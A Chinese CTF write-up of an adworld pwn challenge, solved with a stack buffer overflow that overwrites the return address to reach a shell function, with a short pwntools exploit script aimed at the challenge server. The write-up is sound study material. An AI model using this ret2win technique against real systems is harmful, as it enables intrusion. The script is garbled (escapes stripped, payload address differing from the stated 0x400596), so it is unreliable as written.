CTF:第三题

https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5053&page=1

相比前两题,略有难度,费了点点劲,但是还好,没费太大劲

程序代码非常短,简单地说,就是缓冲区溢出拿shell

 

 然后前面有个函数叫做

 

这里其实就有点坑了,因为这里已经涉及到偏移了,比较麻烦。。。

先说这个缓冲区溢出吧,实际上它的目的是要让我输出一个足够长的字符串,这个字符串可以刚好覆盖函数的返回地址,之后直接跳到shell函数的位置,

即直接跳到 0x400596,目前有一个问题就是,这个程序是否有什么ASLR相关的功能,

查一下, 

查了一下之后发现,其实这玩意只开了一个NX,Windows 下这个叫做DEP,是做数据保护的,

行了,那我就直接尝试改函数返回地址为 0x400596 尝试一下。

 1 from pwn import *
 2 
 3 #a = process("./291721f42a044f50a2aead748d539df0")
 4 a = remote('124.126.19.106', 33948)
 5 r = a.recvuntil('
')
 6 print(r)
 7 
 8 str = "a" * 128 + "A" * 8 + 'x9ax05x40x00x00x00x00x00'
 9 print(str)
10 a.send(str);
11 
12 a.interactive()

0x80个常规字符 a, 然后追加 8个 A 是为了覆盖栈里面的老rbp,因为要跳到的目标函数里面不用rbp,所以也不会出现问题,

最后一串就是目标函数地址了

经过这么一搞,发现竟然真的成了

 

 输入一串字符,然后覆盖老rip返回地址之后,跳到了一个目标地址,可以拿到shell,flag 在目录中

这个题也没啥难点,就是需要判断和尝试,这题没开ASLR,如果开了ASLR的话,基址不固定,那就疯了。

我浪费了一些时间,主要也是在这个上面。

由浅入深吧,宗地来说,还是很容易的。

原文地址:https://www.cnblogs.com/suanguade/p/12964029.html